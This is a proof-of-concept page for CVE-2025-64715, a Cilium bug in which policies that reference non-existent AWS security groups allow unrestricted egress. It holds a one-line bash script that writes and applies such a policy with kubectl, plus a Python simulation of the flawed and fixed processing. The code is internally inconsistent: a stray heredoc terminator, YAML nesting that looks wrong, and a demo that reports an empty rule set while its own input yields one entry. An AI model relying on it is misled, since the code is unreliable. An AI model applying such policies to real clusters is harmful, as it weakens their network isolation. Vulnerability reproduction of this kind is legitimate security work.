CVE-2025-64715 Cilium AWS安全组策略绕过漏洞

#!/bin/bash # CVE-2025-64715 PoC - Cilium AWS Security Group Policy Bypass # This PoC demonstrates how referencing non-existent AWS security groups # in CiliumNetworkPolicy can result in unintended traffic allowance cat << 'EOF' > vulnerable-policy.yaml apiVersion: cilium.io/v2 kind: CiliumNetworkPolicy metadata: name: egress-to-aws-sg spec: egress: - toGroups: - aws: securityGroupsIds: - "sg-00000000000000000" # Non-existent security group ID - toPorts: - ports: - port: "443" protocol: TCP EOF # Apply the vulnerable policy kubectl apply -f vulnerable-policy.yaml # Verify the generated policy (toCIDRset should be empty or missing) kubectl get cnp egress-to-aws-sg -o yaml # Check if traffic is unexpectedly allowed to all destinations # The policy will allow egress to all IPs instead of restricting to SG-associated IPs EOF # Python PoC to demonstrate the policy generation issue cat << 'EOF' > policy_bypass_demo.py #!/usr/bin/env python3 """ CVE-2025-64715 - Cilium AWS Security Group Policy Bypass PoC Demonstrates how non-existent AWS security group references cause policy bypass """ import json def simulate_cilium_policy_processing(security_group_ids, sg_exists_map): """ Simulate Cilium's policy processing for AWS security groups Args: security_group_ids: List of AWS security group IDs in the policy sg_exists_map: Dict mapping SG ID to whether it exists (True/False) Returns: Generated toCIDRset rules """ to_cidr_set = [] for sg_id in security_group_ids: if sg_exists_map.get(sg_id, False): # SG exists, would resolve to actual IP ranges to_cidr_set.append(f"resolved_ip_for_{sg_id}") else: # SG does not exist - BUG: silently skips without blocking print(f"[!] Security group {sg_id} not found, skipping...") # The bug: no toCIDRset is generated, but policy still allows traffic continue return to_cidr_set # Vulnerable scenario: non-existent security group print("=== CVE-2025-64715 Policy Bypass Demonstration ===\n") policy_sgs = ["sg-12345678", "sg-nonexistent-id"] sg_status = { "sg-12345678": True, # Exists, has IPs "sg-nonexistent-id": False # Does NOT exist } print(f"Policy references security groups: {policy_sgs}") print(f"Security group status: {sg_status}\n") result = simulate_cilium_policy_processing(policy_sgs, sg_status) print(f"\nGenerated toCIDRset: {result}") print("\n[!] VULNERABILITY: No toCIDRset generated!") print("[!] Result: Egress policy allows traffic to ALL destinations") print("[!] Expected: Policy should either fail or restrict to found SGs") # Fixed behavior simulation print("\n\n=== Expected Fixed Behavior ===") def fixed_policy_processing(security_group_ids, sg_exists_map): """Fixed version that properly handles missing security groups""" to_cidr_set = [] missing_sgs = [] for sg_id in security_group_ids: if sg_exists_map.get(sg_id, False): to_cidr_set.append(f"resolved_ip_for_{sg_id}") else: missing_sgs.append(sg_id) if missing_sgs: print(f"[!] ERROR: Referenced security groups not found: {missing_sgs}") print("[!] Policy validation FAILED - will not apply") return None return to_cidr_set result_fixed = fixed_policy_processing(policy_sgs, sg_status) EOF